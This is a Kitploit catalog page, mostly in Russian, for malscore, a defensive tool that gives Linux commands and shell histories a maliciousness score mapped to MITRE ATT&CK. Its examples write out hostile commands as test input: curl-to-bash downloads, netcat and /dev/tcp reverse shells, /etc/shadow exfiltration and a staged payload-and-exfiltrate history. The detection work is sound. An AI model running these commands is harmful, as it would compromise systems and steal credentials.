Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
malscore — Оценка вредоносности для команд Linux | Kitploit
Инструменты/GitHubGitHub/raj3shp/malscore
Оборонительные ИнструментыСтатический анализСкриптинг и автоматизацияАнализ вредоносных программРазведка угрозРеагирование на ИнцидентыОбнаружение АномалийАнализ Журналов
GitHubraj3shp/malscore

malscore

Оценка вредоносности для команд Linux

Репозиторий
91710 ч 37 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🦠 malscore

PyPI version Python 3.8+ License: Apache-2.0 Zero dependencies MITRE ATT&CK mapped

malscore принимает командную строку Linux или сессию команд, например историю shell, и возвращает оценку вредоносности от 0 до 100 с диапазоном вердикта и сопоставлением с MITRE ATT&CK:

command(s) → features → signals → score + MITRE mapping

Он никогда ничего не выполняет, не раскрывает и не разрешает — он только читает текст (обеспечивается tests/test_safety.py). У него нет зависимостей, кроме стандартной библиотеки Python (3.8+).


Установка

pip install malscore       # provides the `malscore` command

Из исходного репозитория:

pip install .              # or run without installing, from the repo root:
python3 -m malscore "<command>"

Быстрый старт

# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"

# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -

# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -

# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high

# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain

# machine-readable
malscore --session history.txt --json

# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high

Python API

from malscore import Analyzer

a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict)                 # 67 high
print([h.id for h in r.hits])             # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques)                       # ['T1059.004', 'T1105', 'T1071.001']

r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits])    # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command])   # each command's own assessment
print(r.as_dict())                        # JSON-ready

Analyzer(redact=True) скрывает значения, похожие на учётные данные, прежде чем любой текст команды будет возвращён обратно; на оценки это не влияет.


Примеры:

$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░  score  91/100  CRITICAL
  tactics: exfiltration, credential-access, command-and-control

  evidence:
    [0.60] exfiltration           Credential material is sent over the network
           T1552 T1041
    [0.55] credential-access      The password hash database (/etc/shadow) is accessed
           T1003.008
    [0.35] exfiltration           Data is sent over a raw socket
           T1048
    ...

$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c

$ malscore --session history.txt
████████████████████████  score  99/100  CRITICAL
  history.txt
  tactics: execution, defense-evasion, exfiltration, command-and-control, collection

  7 command(s), 6 flagged:
    ████████████░░░░░░░░░░░░ L2     49 medium   curl -s -o /tmp/.x http://45.33.2.1/x
    ███████░░░░░░░░░░░░░░░░░ L3     30 low      chmod +x /tmp/.x
    ███████░░░░░░░░░░░░░░░░░ L4     30 low      /tmp/.x
    ██████░░░░░░░░░░░░░░░░░░ L5     25 low      tar czf /tmp/etc.tgz /etc
    ████████░░░░░░░░░░░░░░░░ L6     35 medium   scp /tmp/etc.tgz [email protected]:/srv/
    ████████████░░░░░░░░░░░░ L7     50 medium   history -c
  signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...

В файле сессии каждая непустая строка — это одна команда, воспринимаемая буквально: комментарии, продолжения строк и here-документы не обрабатываются. --batch работает иначе: он оценивает каждую команду из JSON-потока независимо, без анализа связей между командами.


Диапазоны вердиктов

scoreverdictmeaning
80–100criticalформа редко бывает легитимной (reverse shell, стирание диска, учётная запись с uid 0)
60–79highвеские доказательства; требует немедленной проверки
35–59mediumподозрительно в большинстве контекстов (curl‑pipe‑shell, чтение shadow)
15–34lowстоит отметить в сочетании с другими признаками
0–14benignрутинная активность

Диапазоны и веса — это вручную настроенная отправная точка, а не обученная модель: каждая единица оценки восходит к именованному сигналу и технике MITRE ATT&CK.


Как формируется оценка

  1. Признаки. Команда разбирается лексически (без выполнения), обёртки вроде sudo/env/xargs разворачиваются, подстановки и полезные нагрузки -c анализируются рекурсивно, и вычисляются детерминированные признаки — цепочки загрузки, затрагиваемые пути, поверхности персистентности, приёмы кодирования, а также группа tradecraft (malscore/tradecraft.py), которая распознаёт конкретные техники атакующих по форме.
  2. Сигналы. malscore/signals.py — это каталог из ~120 именованных сигналов: предикат над записью признаков, вес в (0, 1], тактика MITRE и идентификаторы техник. Вес читается как «насколько это вероятно враждебно, если бы это было единственное, что мы знали». Каталог охватывает, по тактикам ATT&CK:
    • execution — интерпретатор из загрузки, декодированные полезные нагрузки, обновления TTY, безфайловое выполнение из /proc/self/fd;
    • credential access — /etc/shadow и приватные ключи, облачные метаданные, поиск по ключевым словам учётных данных в конфигурационных файлах, чтение .pgpass/.netrc/ файлов облачных учётных данных, сбор переменных окружения и истории, перехват SSH-агента;
    • privilege escalation — reverse shell, правки sudoers, setuid, побег из контейнера, интерактивные root-оболочки, побеги из оболочек через GTFOBins, обход sudo -u#-1, перехват PATH;
    • collection / exfiltration — архивы и дампы баз данных, доступ к таблицам или файлам с номерами карт / токенами / данными клиентов, regex-поиск номеров карт и SSN, DNS- и кодированная эксфильтрация, сервисы paste/webhook;
    • defense evasion — подмена истории и логов, отключение EDR/аудита, снятие неизменяемых флагов, сокрытие через bind-mount /proc;
    • persistence / impact — cron, systemd, хуки входа, стирание дисков, fork bombs, майнеры, DROP TABLE, массовое убийство процессов.
Скачать инструмент